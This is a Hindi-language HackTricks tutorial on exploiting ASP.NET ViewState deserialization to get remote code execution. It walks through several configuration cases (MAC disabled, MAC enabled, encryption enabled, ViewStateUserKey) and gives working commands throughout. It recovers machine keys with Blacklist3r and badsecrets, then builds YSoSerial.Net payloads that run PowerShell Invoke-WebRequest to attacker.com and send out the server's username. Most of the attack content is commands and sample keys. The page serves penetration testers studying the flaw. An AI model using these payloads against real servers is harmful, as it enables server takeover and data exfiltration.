26 KiB
__VIEWSTATE का शोषण बिना रहस्य जाने
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स देखें!
- The PEASS Family की खोज करें, हमारा संग्रह विशेष NFTs का
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- 💬 Discord समूह में शामिल हों या telegram समूह में या Twitter पर मुझे 🐦@carlospolopm का अनुसरण करें।**
- अपनी हैकिंग ट्रिक्स साझा करें, hacktricks repo और hacktricks-cloud repo में PRs सबमिट करके।
यदि आप हैकिंग करियर में रुचि रखते हैं और असंभव को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (पोलिश भाषा में धाराप्रवाह लिखित और बोलचाल की आवश्यकता है).
{% embed url="https://www.stmcyber.com/careers" %}
ViewState क्या है
ViewState वह विधि है जिसका उपयोग ASP.NET फ्रेमवर्क डिफ़ॉल्ट रूप से वेब पेजों के बीच पेज और कंट्रोल मानों को संरक्षित करने के लिए करता है। जब पेज के लिए HTML रेंडर किया जाता है, तो पेज की वर्तमान स्थिति और पोस्टबैक के दौरान बनाए रखने की आवश्यकता वाले मानों को सीरियलाइज किया जाता है और बेस64-एन्कोडेड स्ट्रिंग्स में परिवर्तित करके ViewState छिपे हुए फील्ड या फील्ड्स में आउटपुट किया जाता है।
ViewState जानकारी के लिए निम्नलिखित गुण या गुणों का संयोजन लागू होता है:
- Base64
- EnableViewStateMac और ViewStateEncryptionMode विशेषता को false पर सेट करके परिभाषित किया जा सकता है
- Base64 + MAC (Message Authentication Code) सक्षम
- EnableViewStateMac विशेषता को true पर सेट करके परिभाषित किया जा सकता है
- Base64 + एन्क्रिप्टेड
- viewStateEncryptionMode विशेषता को true पर सेट करके परिभाषित किया जा सकता है
परीक्षण मामले
परीक्षण मामला: 1 – EnableViewStateMac=false और viewStateEncryptionMode=false
AspNetEnforceViewStateMac
रजिस्ट्री कुंजी को शून्य में सेट करके ViewStateMAC को पूरी तरह से अक्षम करना भी संभव है:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
ViewState विशेषताओं की पहचान करना
आप BurpSuite का उपयोग करके इस पैरामीटर के साथ एक अनुरोध को कैप्चर करके यह पहचानने की कोशिश कर सकते हैं कि ViewState MAC से सुरक्षित है या नहीं:
यदि Mac का उपयोग पैरामीटर की सुरक्षा के लिए नहीं किया जाता है, तो आप इसे YSoSerial.Net का उपयोग करके एक्सप्लॉइट कर सकते हैं।
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
टेस्ट केस 1.5 – टेस्ट केस 1 की तरह लेकिन ViewState कुकी सर्वर द्वारा नहीं भेजी जाती है
डेवलपर्स HTTP Request का हिस्सा बनने से ViewState को हटा सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी).
कोई मान सकता है कि अगर ViewState मौजूद नहीं है, तो उनका कार्यान्वयन ViewState डिसेरियलाइजेशन के साथ आने वाली किसी भी संभावित कमजोरियों से सुरक्षित है.
हालांकि, ऐसा नहीं है. अगर हम रिक्वेस्ट बॉडी में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरियलाइज्ड पेलोड को भेजते हैं, तो हम कोड एक्जीक्यूशन को प्राप्त करने में सक्षम होंगे जैसा कि केस 1 में दिखाया गया है.
टेस्ट केस: 2 – .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false
किसी विशिष्ट पेज के लिए ViewState MAC को सक्षम करने के लिए हमें विशिष्ट aspx फाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
हम इसे web.config फ़ाइल में नीचे दिखाए गए अनुसार सेट करके समग्र एप्लिकेशन के लिए भी कर सकते हैं:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
चूंकि पैरामीटर इस बार MAC संरक्षित है, हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग की गई कुंजी की आवश्यकता होती है। इस मामले में, BurpSuite हमें बताएगा कि पैरामीटर MAC संरक्षित है:
उपयोग की गई कुंजी खोजने के लिए आप Blacklist3r(AspDotNetWrapper.exe) का प्रयोग कर सकते हैं।
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) एक और उपकरण है जो ज्ञात machineKeys की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r के विपरीत, इसमें Windows निर्भरता नहीं है। .NET viewstates के लिए, "python blacklist3r" उपयोगिता है, जो इसे उपयोग करने का सबसे तेज़ तरीका है।
इसे viewstate और generator सीधे प्रदान किया जा सकता है:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
या, यह सीधे लक्ष्य URL से जुड़ सकता है और HTML से viewstate को निकालने का प्रयास कर सकता है:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
बड़े पैमाने पर संवेदनशील viewstates की खोज के लिए, सबडोमेन गणना के साथ, `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) मॉड्यूल का उपयोग किया जा सकता है:
bbot -f subdomain-enum -m badsecrets -t evil.corp
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके हमले के साथ आगे बढ़ सकते हैं:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
जिन मामलों में _VIEWSTATEGENERATOR
पैरामीटर सर्वर द्वारा भेजा नहीं जाता है, आपको --generator
पैरामीटर प्रदान करने की आवश्यकता नहीं होती लेकिन इन्हें देना होता है:
--apppath="/" --path="/hello.aspx"
परीक्षण मामला: 3 – .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true
इस मामले में Burp यह नहीं पता लगा पाता कि पैरामीटर MAC से सुरक्षित है या नहीं क्योंकि वह मानों को पहचान नहीं पाता। तब, मान संभवतः एन्क्रिप्टेड होता है और आपको अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन की की आवश्यकता होगी ताकि आप संवेदनशीलता का शोषण कर सकें।
इस मामले में Blacklist3r मॉड्यूल विकासाधीन है...
.NET 4.5 से पहले, ASP.NET उपयोगकर्ताओं से ___VIEWSTATE
_ पैरामीटर को स्वीकार कर सकता है भले ही ViewStateEncryptionMode
को हमेशा के लिए सेट किया गया हो। ASP.NET केवल __VIEWSTATEENCRYPTED
पैरामीटर की उपस्थिति की जांच करता है। यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो भी वह प्रोसेस किया जाएगा।
इसलिए, यदि मशीनकी ज्ञात हो (उदाहरण के लिए, एक डायरेक्टरी ट्रैवर्सल समस्या के माध्यम से), YSoSerial.Net कमांड जो मामला 2 में इस्तेमाल किया गया था, ViewState डिसेरियलाइजेशन संवेदनशीलता का उपयोग करके RCE को प्रदर्शन करने के लिए इस्तेमाल किया जा सकता है।
- ViewState डिसेरियलाइजेशन संवेदनशीलता का शोषण करने के लिए,
__VIEWSTATEENCRYPTED
पैरामीटर को अनुरोध से हटा दें, अन्यथा यह Viewstate MAC मान्यता त्रुटि वापस करेगा और शोषण विफल हो जाएगा जैसा कि चित्र में दिखाया गया है:
परीक्षण मामला: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false दोनों विशेषता को छोड़कर झूठा
हम नीचे दिए गए पैरामीटर को web.config फाइल में निर्दिष्ट करके ASP.NET फ्रेमवर्क के उपयोग को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।
<httpRuntime targetFramework="4.5" />
इसे नीचे दिए गए विकल्प को machineKey
पैरामीटर के अंदर web.config फाइल में निर्दिष्ट करके भी किया जा सकता है।
compatibilityMode="Framework45"
पिछले मामले की तरह Burp यह पहचान नहीं पाता है कि अनुरोध MAC संरक्षित है या नहीं क्योंकि मान एन्क्रिप्टेड है। फिर, वैध पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता होती है।
आप Blacklist3r(AspDotNetWrapper.exe) का उपयोग करके कुंजी खोजने का प्रयास कर सकते हैं:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
IISDirPath और TargetPagePath के लिए अधिक विस्तृत विवरण के लिए यहाँ देखें
या, Badsecrets के साथ (एक जनरेटर मान के साथ):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
एक वैध Machine key की पहचान हो जाने के बाद, **अगला कदम है एक serialized payload तैयार करना** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
यदि आपके पास __VIEWSTATEGENERATOR
का मान है, तो आप उस मान के साथ --generator
पैरामीटर का प्रयोग कर सकते हैं और --path
और --apppath
पैरामीटर्स को छोड़ सकते हैं।
यदि ViewState डिसेरियलाइजेशन भेद्यता का सफलतापूर्वक शोषण किया जाता है, तो एक हमलावर-नियंत्रित सर्वर को उपयोगकर्ता नाम सहित एक बाहरी बैंड अनुरोध प्राप्त होगा। सफल शोषण का PoC
परीक्षण मामला 6 – ViewStateUserKeys का उपयोग किया जा रहा है
ViewStateUserKey प्रॉपर्टी का उपयोग CSRF हमले के खिलाफ बचाव के लिए किया जा सकता है। यदि एप्लिकेशन में ऐसी कुंजी परिभाषित की गई है और हम अब तक चर्चा की गई विधियों के साथ ViewState पेलोड उत्पन्न करने का प्रयास करते हैं, तो पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा।
आपको पेलोड को सही ढंग से बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:
--viewstateuserkey="randomstringdefinedintheserver"
सफल शोषण का परिणाम
सभी परीक्षण मामलों में, यदि ViewState YSoSerial.Net पेलोड सफलतापूर्वक काम करता है तो सर्वर “500 Internal server error” के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री “The state information is invalid for this page and might be corrupted” होती है और हमें नीचे दिखाए गए चित्रों के अनुसार OOB अनुरोध प्राप्त होता है:
वर्तमान उपयोगकर्ता नाम के साथ बाहरी बैंड अनुरोध
संदर्भ
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817\
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
यदि आप hacking career में रुचि रखते हैं और अशक्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप cybersecurity company में काम करते हैं? क्या आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण तक पहुँच चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं? सदस्यता योजनाएँ देखें!
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- 💬 Discord group में शामिल हों या telegram group या Twitter पर मुझे फॉलो करें 🐦@carlospolopm.
- अपनी hacking tricks साझा करें, hacktricks repo और hacktricks-cloud repo में PRs सबमिट करके.